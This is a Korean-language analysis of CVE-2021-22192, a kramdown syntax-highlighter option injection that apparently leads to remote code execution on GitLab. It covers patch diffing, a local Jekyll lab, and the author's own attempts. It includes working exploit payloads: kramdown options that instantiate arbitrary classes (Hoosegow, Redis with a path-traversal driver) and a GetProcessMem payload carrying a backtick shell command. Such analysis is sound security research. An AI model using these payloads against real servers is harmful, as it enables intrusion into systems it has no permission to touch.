
CVE-2021-22192
이 버그를 분석하기 시작할 때, lyy289065406로부터 버그의 핵심 문제를 이해하는 데 도움이 되는 몇 가지 귀중한 정보를 얻었습니다. kramdown gem(<= 2.3.0)에서 버그가 발생하는 것으로 보이므로, 먼저 kramdown에 대해 알아보기 시작했습니다.
kramdown의 패치를 확인할 수 있으며, Kramdown::Converter::SyntaxHighlighter::Rouge 모듈의 formatter_class 함수에서 차이점을 볼 수 있습니다.
::Rouge::Formatters.const_get(formatter)가 ::Rouge::Formatters.const_get(formatter, false)로 변경되었습니다.
const_get 함수는 Object 클래스에서 상속되며, 상수를 가져올 수 있습니다. 이전에 선언된 클래스를 찾아 반환할 수도 있습니다. 차이점은 false 매개변수를 추가했다는 점입니다. false 매개변수를 추가하면 const_get이 부모 클래스나 모듈의 상수를 가져올 수 없게 됩니다.
더 특별한 점은 self.call 함수에서 formatter_class를 호출한 후 new(opts)를 호출한다는 것입니다. 즉, const_get을 통해 가져온 메서드의 생성자가 호출되어 초기화된다는 의미입니다.
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
Kramdown:Options에 따라 Kramdown::Converter::SyntaxHighlighter::Rouge.call 함수를 호출할 수 있습니다.
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
또한 Kramdown:Options 모듈의 simple_hash_validator 함수에서 YAML.safe_load(val)를 호출하는 것을 볼 수 있습니다. 따라서 YAML 파일을 구성하여 Kramdown::Converter::SyntaxHighlighter::Rouge에 원하는 페이로드를 전달할 수도 있습니다.
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
먼저 Jekyll을 구축해야 합니다:
gem install jekyll
jekyll new jekyllTest
Gemfile.lock 파일을 편집하여 kramdown 버전을 <= 2.3.0으로 변경cd jekyllTest
Gemfile.lock 파일
...
kramdown (2.3.0)
...
bundle install
이제 Jekyll 페이지 생성이 완료되었습니다. 이제 페이로드를 주입하여 Kramdown::Converter::SyntaxHighlighter::Rouge.call이 실제로 메서드를 호출할 수 있는지 확인해볼 수 있습니다.
./_config.yml 파일에 다음을 추가할 수 있습니다.
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
또는 Kramdown 문서를 사용하여 ./_posts/*.markdown에 페이로드를 추가할 수 있습니다.
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
여기서는 두 번째 방법을 사용했습니다 =)))))
bundle exec jekyll serve
'require': cannot load such file -- webrick (LoadError) 오류가 발생할 경우 Gemfile에 gem "webrick"을 추가해야 합니다.
private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: 오류 메시지가 나타납니다. 이는 CSV 클래스가 호출되었음을 의미합니다.CVE-2020-10518 분석 기사에 따르면, Github에서 kramdown 버그를 사용하여 RCE를 유발하는 방법이 소개되었습니다. 저는 Hoosegow 클래스를 대상으로 삼았습니다:
initialize 함수에서 load_inmate_methods를 호출합니다.def initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods에서 require inmate_file을 호출하는 것을 볼 수 있습니다. def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
inmate_file은 @inmate_dir과 'inmate.rb'를 연결하여 생성됩니다. 이 클래스를 호출하고 inmate_dir 매개변수를 페이로드 파일의 경로로 변경할 수 있다면, RCE가 발생할 수 있습니다.
Jekyll 페이지 경로에서 다음 스크립트를 실행하여 정의된 메서드를 확인했습니다.
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow"로 변경하여 스크립트 실행 중간에 크랙을 피하려고 했습니다.require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
Gemfile에 gem "hoosegow"를 추가하자 스크립트가 이 클래스를 찾았습니다. [헤헤헤]Hoosegow를 호출해 보겠습니다.{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
여기서 막혔습니다.. 1주일. 예, 1주일을 날렸습니다. "Bundler에 Hoosegow 클래스가 있는데, 왜 Kramdown에서 호출되지 않을까? 분명히 되어야 하는데?"라는 질문을 반복했습니다.
"Gemfile에 선언되어 있다면 클래스 경로에 클래스가 있는 것입니다. 그래도 프로그램이 'Hoosegow'를 찾지 못한다면, 분명히 로드되지 않은 것입니다...". 그렇다면 Jekyll이 소스 디렉토리의 다른 부분을 처리하기 전에 gem을 로드하도록 선언하는 다른 방법이 있을까요?
Jekyll 문서를 읽고 jekyll_plugins를 찾았습니다. Gemfile에 이렇게 선언하는 것만으로는 충분하지 않습니다. gem을 jekyll_plugins 그룹에 선언해야 합니다. 왜냐하면 jekyll_plugins에 선언된 gem은 Jekyll이 다른 소스를 처리하기 전에 무조건 호출되기 때문입니다. Jekyll을 safe 모드로 실행해도 마찬가지입니다.
group :jekyll_plugins do
gem "jekyll-feed", "~> 0.12"
gem "hoosegow"
end
C:/에 inmate.rb 파일을 만들고 페이로드를 실행했습니다.{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}
~~~ ruby
def what?
42
end
~~~
inmate.rb 파일이 호출되었습니다. 이제 PoC를 거의 성공한 것 같습니다.
inmate.rb 파일을 Gitlab 서버에 업로드하고, 업로드된 파일의 위치를 알 수 있을까요?before_script:
- pwd
- gem install bundler
- bundle install
.gitlab-ci.yml 파일을 편집할 때 즉시 떠올랐습니다. 다양한 방식으로 설명하려고 노력했습니다: "yml 파일이 로드되기 전에 스캔하는 메커니즘이 있을 수 있다?", ... 하지만 만족스럽지 않았습니다.
다른 입력 경로인 wiki 페이지를 찾았습니다. Wiki 페이지는 kramdown 형식을 사용할 수 있으므로 여기서 테스트해 보았지만, 기본 '*.md' 파일에만 페이로드를 주입했고 '*.md' 파일은 필요한 기능이 제한되어 있어 이 경로를 포기했습니다.
여기서 멈추고 PoC가 공개될 때까지 기다리기로 결정했습니다. 다른 연구에 시간을 할애하기 위해서입니다.
어느 좋은 날 PoC가 공개되었습니다. 읽고 나서 닭 같은 기분이 강하게 들었습니다. 말할 것도 없이 =)).
핵심 문제는 kramdown에 있다는 점은 맞았지만, Gitlab에서 접근하는 경로가 조금 아쉬웠습니다.
작성자는 wiki 페이지에 '*.rmd' 파일을 업로드하면 프로그램이 render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render를 호출한다는 것을 발견했습니다. 따라서 '*.rmd' 파일은 kramdown으로 렌더링됩니다.
작성자는 wiki 페이지를 로컬에 클론한 후 git을 사용하여 wiki 페이지( '*.rmd' 파일 포함)를 Gitlab에 푸시하여 '.rmd' 파일을 업로드했습니다.
작성자는 Gitlab 프로젝트에 이미 선언된 Redis 클래스(따라서 이 클래스를 호출하여 사용할 수 있음)를 사용하여 페이로드를 실행했습니다.
Redis 클래스를 초기화할 때 driver 옵션이 존재하면 _parse_driver 함수가 호출됩니다. 여기서 프로그램은 require "connection/#{driver}"를 호출하므로 driver 변수를 조작하여 서버에 업로드된 페이로드 파일을 호출할 수 있습니다.
def _parse_driver(driver)
driver = driver.to_s if driver.is_a?(Symbol)
if driver.kind_of?(String)
begin
require_relative "connection/#{driver}"
rescue LoadError, NameError => e
begin
require "connection/#{driver}"
rescue LoadError, NameError => e
raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
end
end
driver = Connection.const_get(driver.capitalize)
end
driver
end
snippet을 새로 만드는 기능을 사용하여 공격자는 Attach a file로 Ruby 페이로드를 업로드할 수 있습니다.Kramdown에서 Redis 클래스를 호출하는 방식을 사용하여, 먼저 작성자는 get_process_mem gem을 다음과 같은 페이로드로 가져옵니다.
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}
~~~ruby
def what?
42
end
~~~
그런 다음 이전에 가져온 get_process_mem gem을 사용하여 RCE를 수행합니다.
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}
~~ ruby
def what?
42
end
~~
이렇게 하면 페이로드 파일의 주소를 찾을 필요 없이 공격자가 Gitlab Server에서 RCE를 수행할 수 있습니다.
참고문헌: